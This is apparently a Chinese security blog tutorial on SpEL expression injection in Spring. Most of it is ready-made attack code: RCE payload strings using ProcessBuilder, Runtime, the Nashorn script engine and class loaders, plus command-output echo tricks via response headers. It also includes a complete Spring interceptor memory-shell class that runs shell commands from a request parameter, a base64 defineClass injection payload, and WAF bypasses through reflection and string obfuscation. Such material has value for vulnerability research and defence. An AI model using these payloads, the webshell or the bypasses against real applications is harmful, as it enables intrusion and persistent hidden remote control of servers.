前言
在项目中添加spring依赖,版本不用太高,高版本Spring必须使用Java17及以上,Java从15开始移除了Js引擎
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.3.0</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.3.0</version> </dependency> </dependencies>
|

SPEL简介
Spring表达式语言(Spring Expression Language)可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等。官方描述 SpEL 作为 Spring 产品组合中表达式评估的基础,但它并不直接与 Spring 绑定,可以独立使用。
使用方法
主要介绍与安全相关的一些用法
把官网的例子扒下来,这段代码就是SpEL单独使用的体现(注意:ExpressionParser知道它处理的是SpEL 表达式,所以不需要Spel定界符#{}
,直接传字符串就行)
示例一
1 2 3 4 5 6 7
| public class Main { public static void main(String[] args) { SpelExpressionParser parser = new SpelExpressionParser(); Expression value = parser.parseExpression("'Hello World'.concat('!')"); System.out.println(value.getValue()); } }
|
示例二
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Spel{ public String name = "sp4rks3";
public static void main(String[] args) { Spel userObj = new Spel(); StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("user", userObj); SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression("#user.name"); System.out.println((expression.getValue(context))); } }
|
这段代码涉及SpEL的变量定义和引用
在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:
- #this:使用当前正在计算的上下文;
- #root:引用容器的root对象;
- @something:引用Bean
SpEL表达式注入
漏洞原理
SimpleEvaluationContext
和 StandardEvaluationContext
是 SpEL 提供的两种不同的 EvaluationContext
,它们提供了不同的功能和限制:
SimpleEvaluationContext
:适用于不需要复杂 SpEL 语法的场景,主要面向限制性较强的表达式,缺少一些功能,比如 Java 类型引用、构造函数调用和 Bean 引用。
StandardEvaluationContext
:提供了完整的 SpEL 功能,允许使用所有的 SpEL 特性,包括对 Java 类型引用、构造函数调用、Bean 引用等的支持。
默认情况下,SpEL 使用的是 StandardEvaluationContext
,如果输入的表达式没有适当的限制和验证,则用户可以通过表达式执行任意命令或操作,从而导致 命令执行漏洞或 任意代码执行问题。
RCE第一部分
调用ProcessBuilder
平常我们使用java代码这样写
1 2 3 4 5 6 7
| public class Main { public static void main(String[] args) throws IOException { String[] str = new String[]{"cmd","/c","calc"}; ProcessBuilder p = new ProcessBuilder( str ); p.start(); } }
|
结合spel也差不多,也可以使用new来调用构造方法,唯一的区别是类名必须是全限定名,例外是java.lang包下的类无需使用全限定类名
1 2 3 4 5 6 7 8 9
| public class Main { public static void main(String[] args) { String str = "new java.lang.ProcessBuilder(new String[]{'cmd','/c','calc'}).start()";
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(str); System.out.println(exp.getValue()); } }
|

当然java.lang包下的类无需使用全限定类名,所以表达式可简化来bypass
1
| String str = "new ProcessBuilder(new String[]{'calc'}).start()";
|
通过String类动态生成字符
1
| String str = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
|
调用RunTime
在SpEL 中,使用 T(Type)
语法可以用于访问 Java 类类型。T()
操作符会返回一个object,它可以帮助我们获取某个类的静态方法和类静态字段 , 用法T(全限定类名).方法名()
。
由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例
1 2 3 4 5 6 7 8 9
| public class Main { public static void main(String[] args) { String str = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(str); System.out.println( exp.getValue() ); } }
|

字符串数组写法
1
| String str="T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'})";
|
当然也可以使用反射的写法
1
| String str = "T(String).getClass().forName('java.lang.Runtime').getRuntime().exec('calc')";
|
当然也可以用String类动态生成字符
1
| String str = "T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))";
|
调用ScriptEngine
Java内置了JavaScript引擎,可以执行JS代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf( "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + "Language version: %s%n" + "Extensions: %s%n" + "Mime types: %s%n" + "Names: %s%n", factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(), factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames() ); } }
|
获取所有的JS引擎信息

通过结果中的Names,我们知道了所有的js引擎名称,所以getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:
平常Java写法
1 2 3 4 5 6 7
| public class Main { public static void main(String[] args) throws ScriptException { ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("nashorn"); System.out.println(engine.eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);")); } }
|
结合SpEL,通过new调用构造方法
1 2 3 4 5 6 7 8 9
| public class Main { public static void main(String[] args) { String str = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(str); System.out.println( exp.getValue() ); } }
|

一些其他的写法,可以简单的bypass
通过StreamUtils,copy一个输入流
1
| String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\"),)";
|
JavaScript引擎+反射调用
1
| String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(String).getClass().forName('java.lang.Runtime').getMethod('exec',T(String[])).invoke(T(String).getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(T(String).getClass().forName('java.lang.Runtime')),new String[]{'cmd','/C','calc'})),)";
|
JavaScript引擎+URL编码
1
| String str="T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29')),)";
|
当然在Java15及其之后这一部分就不行了
RCE第二部分
这部分主要是动态类加载,可以看组长视频视频
UrlClassloader
准备一个恶意class,用python起一个http服务
1 2 3 4 5 6 7 8 9 10
| public class Test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }; }
|
远程加载就行
1 2 3 4 5 6 7 8
| public class Main { public static void main(String[] args) { String str = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass('Test').getConstructors()[0].newInstance()"; ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(str); System.out.println( exp.getValue() ); } }
|
AppClassloader
获取ClassLoader去加载本地的类
1 2 3 4 5 6 7 8
| public class Main { public static void main(String[] args) { String str = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(str); System.out.println( exp.getValue() ); } }
|
通过其他方法获取ClassLoader
假如ban掉了一些关键字,我们如何获取classloader成为了问题,有如下几种方法。
1 2 3 4 5 6 7 8 9 10
| T(org.springframework.expression.Expression).getClass().getClassLoader() #thymeleaf 情况下 T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
#web服务下通过内置对象 request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
|
举个例子:
当然需要上下文环境支持才行


只要能获取到都是可以的。
回显研究
这里不会配置的可以去看看这个视频,Spring还是得学的喔
那么在Web服务中,困扰我们最多的就是回显问题了,命令执行成功了,不出网,怎么把结果带出来呢?
1 2 3 4 5 6 7 8 9 10 11
| @Controller public class Spelcontroller {
@RequestMapping("/spel") @ResponseBody public String spelvul(String payload){ ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration()); Expression exp = parser.parseExpression(payload); return (String) exp.getValue(); } }
|
BufferedReader
其实这并不是纯粹的回显,因为需要return这个返回结果,而真实情况一般是不会return这个结果的。
1
| payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
|

这只是返回值为输出结果的String而已。
Scanner
和Buffer一样,都只能算得上是半回显
1
| payload=new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("Sp4rks3").next()
|
这里的Delimiter
是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

这种方法才称得上是通用回显
这种方法需要有一个方法可以addHeader,可是spring并不自带这个方法。因此获取到Response有些许困难,需要注册一个response进上下文
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Controller public class Spelcontroller {
@RequestMapping("/spel") @ResponseBody public String spelvul(String payload, HttpServletResponse response) { StandardEvaluationContext context = new StandardEvaluationContext(); context.setVariable("response", response); ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration()); Expression exp = parser.parseExpression(payload); return (String) exp.getValue(context); } }
|
1
| payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
|

内存马利用
c0ny1师傅在这篇文章 提出高可用Payload
1
| T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()
|
defineClass
分析一下这个payload,我们的目的是要加载一个类并且实例化,这里直接选用了spring自带的工具类ReflectUtils
,因为它支持从字节码加载。
ClassLoader
加载一个类需要指定Classloader,我们直接选定当前线程上下文的ClassLoader
T(java.lang.Thread).currentThread().getContextClassLoader()
Mlet
MLet
曾经是 Java 动态类加载的一个部分,可能是为了一些老旧的管理系统或者一些特定的环境中,可能会利用 MLet
来加载类。所以c0ny1师傅使用它可能是出于与旧系统的兼容性考虑。
当然可以自己简化一下
1
| T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
|
内存马
内存马选用的话就Spring内存马就行了。这里选了一个interceptor内存马 (抄的pop师傅的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| import org.springframework.web.servlet.HandlerInterceptor; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.List;
public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {
static { System.out.println("start"); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } InceptorMemShell evilInterceptor = new InceptorMemShell(); adaptInterceptors.add(evilInterceptor); System.out.println("ok"); }
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setCharacterEncoding("gbk"); java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; String o = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.println(o); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
把它变为base64,用payload注入即可


坑点
还是老生常谈的两个坑点:
- base64会出现
+
号,http请求会把传参时会将+号识别为空格,所以后端解析报错,解决办法就是url编码一下。

- 内存马的类编写的时候不能在任何
package
下面,类加载器会按照package的路径进行加载,如果类的 package
声明与实际文件路径不匹配,类加载器将无法正确加载该类。
WAF绕过
关键字类
针对关键字或黑名单过滤检查的场景我们可以通过反射调用来绕过,具体代码如下所示:
1 2 3 4 5 6 7 8
| public class ExecuteTest { public static void main(String[] args) throws Exception { String spel = "T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue()); } }
|
备注:如果过滤了.getClass则可以使用’’.class.getSuperclass().class替代
字符串替换
1
| T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))
|

外部对象request
假如上下文中有request对象的话就也有几种方法
1 2 3 4 5 6 7 8 9
|
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
#request.getRequestedSessionId()
|
参考连接
SpEL入门:外部属性注入
Spring Expression Language
SimpleEvaluationContext (Spring Framework 5.0.6.RELEASE API)
SpEL注入RCE分析与绕过 - 先知社区
Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)
SPEL表达式注入总结及回显技术 - Boogiepop Doesn’t Laugh
文章 - JAVA安全之SpEL表达式执行 - 先知社区
Java 之 SpEL 表达式注入
Spring cloud gateway通过SPEL注入内存马
Spring MVC 教程 已完结(IDEA 2023最新版)4K蓝光画质 基于Spring6的全新重制版本 起立到起飞